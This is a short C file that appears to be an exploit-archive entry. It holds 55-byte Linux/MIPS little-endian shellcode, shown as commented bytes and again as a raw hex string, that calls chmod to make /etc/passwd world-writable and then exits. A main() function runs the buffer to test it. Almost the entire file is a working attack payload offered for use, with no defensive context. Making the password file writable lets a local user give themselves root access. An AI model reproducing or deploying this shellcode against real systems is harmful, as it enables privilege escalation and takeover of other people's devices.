#include <stdio.h>

/*
	Title: Linux/MIPS (Little Endian) - chmod 666 /etc/passwd - 55 bytes
	Date: 2015-03-05
	Author: Sang-Min LEE 
	Email: leesangmin144@gmail.com
	Blog: http://smleenull.tistory.com
*/

char sc[] = {
	"\xff\xff\x06\x28" // slti $a2, $zero, -1
    "\xff\xff\xd0\x04" // bltzal $a2, p <p>
    "\xff\xff\x05\x28" // slti $a1, $zero, -1
    "\xb6\x01\x05\x24" // li $a1, 438
    "\x01\x10\xe4\x27" // addu $a0, $ra, 4097
    "\x1f\xf0\x84\x24" // addu $a0, $a0, -4065
    "\xaf\x0f\x02\x24" // li $v0, 4015
    "\x0c\x01\x01\x01" // syscall 0x40404
    "\xff\xff\x04\x28" // slti $a0, $zero, -1
    "\xa1\x0f\x02\x24" // li $v0, 4001
    "\x0c\x01\x01\x01" // syscall 0x40404
    "/etc/passwd"
};

/*
Shellcode
\xff\xff\x06\x28\xff\xff\xd0\x04\xff\xff\x05\x28\xb6\x01\x05\x24\x01\x10\xe4\x27\x1f\xf0\x84\x24\xaf\x0f\x02\x24\x0c\x01\x01\x01\xff\xff\x04\x28\xa1\x0f\x02\x24\x0c\x01\x01\x01\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64
*/

void main ()
{
	void (*s)(void);
    printf("sc size %d\n", sizeof(sc));
    s = sc;
    s();
}